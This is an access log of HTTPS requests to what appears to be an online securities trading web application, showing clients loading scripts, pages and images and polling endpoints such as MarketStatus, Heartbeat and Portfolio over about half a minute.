[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923250310 HTTP/1.1" 3188
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:09:42:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923247158 HTTP/1.1" -
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:42:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923248951 HTTP/1.1" -
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923253153 HTTP/1.1" -
[09/Jan/2026:09:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1539
[09/Jan/2026:09:43:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923266052 HTTP/1.1" -
[09/Jan/2026:09:43:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923252290 HTTP/1.1" -
[09/Jan/2026:09:43:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923252730 HTTP/1.1" -
[09/Jan/2026:09:43:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923253978 HTTP/1.1" -
[09/Jan/2026:09:43:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923258225 HTTP/1.1" -
[09/Jan/2026:09:43:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923271118 HTTP/1.1" -
[09/Jan/2026:09:43:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923257304 HTTP/1.1" -
[09/Jan/2026:09:43:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923258303 HTTP/1.1" -
[09/Jan/2026:09:43:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923259023 HTTP/1.1" -
[09/Jan/2026:09:43:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923263272 HTTP/1.1" -
[09/Jan/2026:09:43:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923276198 HTTP/1.1" -
[09/Jan/2026:09:43:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:43:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923263300 HTTP/1.1" -
[09/Jan/2026:09:43:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923263329 HTTP/1.1" -
[09/Jan/2026:09:43:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923264078 HTTP/1.1" -
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923268429 HTTP/1.1" -
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:09:43:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923281258 HTTP/1.1" -
[09/Jan/2026:09:43:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923268916 HTTP/1.1" -
[09/Jan/2026:09:43:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923269100 HTTP/1.1" -
[09/Jan/2026:09:43:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923269298 HTTP/1.1" -
[09/Jan/2026:09:43:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:09:43:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:43:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:43:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923273607 HTTP/1.1" -
[09/Jan/2026:09:43:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923286286 HTTP/1.1" -
[09/Jan/2026:09:43:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923273945 HTTP/1.1" -
[09/Jan/2026:09:43:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923274134 HTTP/1.1" -
[09/Jan/2026:09:43:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
